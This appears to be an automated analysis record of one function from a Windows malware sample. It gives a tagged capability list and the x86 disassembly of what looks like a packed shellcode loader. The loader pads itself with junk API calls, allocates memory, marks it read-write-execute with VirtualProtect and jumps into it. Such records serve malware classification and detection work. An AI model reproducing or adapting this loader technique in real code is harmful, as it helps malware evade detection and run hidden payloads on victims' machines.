Function at 0x809720
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create mailslot
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x80c986
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2470
call fcn.0040f290
push ebx
mov ebx, dword [sym.imp.GDI32.dll_SetBkColor]
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebp, ebp
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e308
jge 0x80976e
call edi
push ebp
push ebp
call ebx
cmp esi, 0x1e9a5e4e
jle 0x80978a
cmp dword [esp + 0x10], 0xbf1ed8
je 0x80978a
cmp dword [esp + 0x54], 0x9175f68
jne 0x809793
inc esi
cmp esi, 0x98a00
jl 0x809760
cmp dword [0x2975ac4], 0xcf8
jne 0x809899
push ebp
push ebp
push ebp
call fcn.004056bd
add esp, 0xc
push 0x4035d8
push ebp
call fcn.004056bd
push ebp
push ebp
push ebp
push ebp
call fcn.0040537a
push ebp
call fcn.00405682
add esp, 0x1c
push ebp
push ebp
call fcn.00404cfc
push ebp
call fcn.004056b2
add esp, 0xc
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
mov dword [esp + 0x248c], ebp
xor eax, eax
mov dword [esp + 0x5c], 0xf
mov dword [esp + 0x58], ebp
mov byte [esp + 0x48], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x809804
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x80981e
push 0x403c9c
call fcn.00404c5b
cmp esi, 0xf
jbe 0x809831
push ebp
push esi
lea eax, [esp + 0x50]
push eax
call fcn.00404a40
jmp 0x80983e
cmp esi, ebp
jne 0x809840
mov dword [esp + 0x58], ebp
mov byte [esp + 0x48], 0
cmp esi, ebp
seta al
mov edi, 0x10
test al, al
je 0x80987b
mov eax, dword [esp + 0x48]
cmp dword [esp + 0x5c], edi
jae 0x80985a
lea eax, [esp + 0x48]
push esi
push ebp
push eax
call fcn.00409fd0
mov eax, dword [esp + 0x54]
add esp, 0xc
mov dword [esp + 0x58], esi
cmp dword [esp + 0x5c], edi
jae 0x809877
lea eax, [esp + 0x48]
mov byte [eax + esi], 0
cmp dword [esp + 0x5c], edi
jb 0x80988e
mov ecx, dword [esp + 0x48]
push ecx
call fcn.0040577a
add esp, 4
call fcn.00404cc9
push ebp
call fcn.00405630
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, esi
cmp esi, 0x408
jne 0x8098ba
mov eax, 0x5d1
add dword [0x2975ac4], eax
cmp dword [0x2975ac4], 3
jne 0x8098d1
push ebp
call edi
push ebp
lea edx, [esp + 0x84]
push edx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x8098a7
mov eax, dword [0x2975ac4]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x82b854], eax
mov eax, dword [0x2975ac4]
xor esi, esi
cmp eax, ebp
jbe 0x809958
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
lea esp, [esp]
cmp eax, 0xfe
jne 0x809929
push 0
call edi
call ebx
push 0x4035e4
push 0x403604
call ebp
call fcn.008093b0
mov eax, dword [0x2975ac4]
cmp eax, 0x29
jne 0x809951
lea ecx, [esp + 0x10]
push ecx
push 0
push 0x403620
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
mov eax, dword [0x2975ac4]
inc esi
cmp esi, eax
jb 0x809910
xor ebp, ebp
cmp eax, 0x70
jne 0x809a42
push 0x403688
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebp
push 0x4036c8
push ebp
push 0x403738
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CompareStringW]
lea edx, [esp + 0xc80]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebp
lea eax, [esp + 0x1484]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push ebp
push 0x40378c
push 0x4037c8
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push ebp
call esi
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push ebp
push ebp
call edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push ebp
push ebp
lea ecx, [esp + 0x888]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push ebp
lea edx, [esp + 0x1c84]
push edx
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebp
push ebp
call edi
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x14]
push ecx
push ebp
lea edx, [esp + 0x8c]
push edx
push ebp
push ebp
push ebp
mov dword [esp + 0x34], ebp
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0x403878
push 0x403968
push ebp
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0x4039a0
call esi
mov eax, dword [0x2975ac4]
mov esi, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov ebp, dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov dword [esp + 0x10], 0x9682ab
cmp eax, 3
jne 0x809a95
push 0
lea eax, [esp + 0x38]
push eax
push 0
lea ecx, [esp + 0x8c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
lea edx, [esp + 0x880]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x2975ac4]
cmp eax, 0xdf
jne 0x809bc2
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4039c8
call edi
push 0x4039fc
push 0
push 0
call ebp
lea eax, [esp + 0x38]
push eax
push 0x403a38
push 0
call ebx
xor eax, eax
lea ecx, [esp + 0x40]
push ecx
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0x403ab8
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea edx, [esp + 0x3c]
push edx
push 0
lea eax, [esp + 0x88]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0x403ae0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x403b58
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea edx, [esp + 0x1484]
push edx
push 0x403b60
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0xc84]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0x50]
push 0
push edx
mov dword [esp + 0x54], 0
call fcn.00409f50
add esp, 0xc
push 0
lea eax, [esp + 0x4c]
push eax
push 0x403ba8
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x2975ac4]
dec dword [esp + 0x10]
jne 0x809a62
mov esi, dword [sym.imp.USER32.dll_CharUpperA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebp, 0x3a5e74
push 0
call esi
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
dec ebp
jne 0x809be3
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
cmp dword [0x2975ac4], 0x222
jne 0x809c13
push 0
call esi
dec edi
jne 0x809c03
mov edx, dword [0x2975ac4]
mov eax, dword [0x82b854]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push edx
push eax
mov byte [0x826ac0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.008096d0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
xor esi, esi
mov ebx, 0xba
lea esp, [esp]
cmp dword [0x2975ac4], ebx
jne 0x809c68
lea ecx, [esp + 0x14]
push ecx
push 0
lea edx, [esp + 0x20]
push edx
push 0
call edi
cmp esi, 0x2f64
jne 0x809c7a
add dword [0x82b854], 0
inc esi
cmp esi, 0x1605a
jl 0x809c50
call fcn.00809500
cmp dword [0x2975ac4], 0xc30
jne 0x809d46
lea eax, [esp + 0x1480]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x880]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
lea edx, [esp + 0xc84]
push edx
push 0
push 0x403c88
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
lea eax, [esp + 0x18]
push eax
push 0
lea ecx, [esp + 0x8c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea edx, [esp + 0x1c84]
push edx
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x44]
push ecx
lea edx, [esp + 0x44]
push edx
lea eax, [esp + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
mov ecx, dword [esp + 0x2484]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret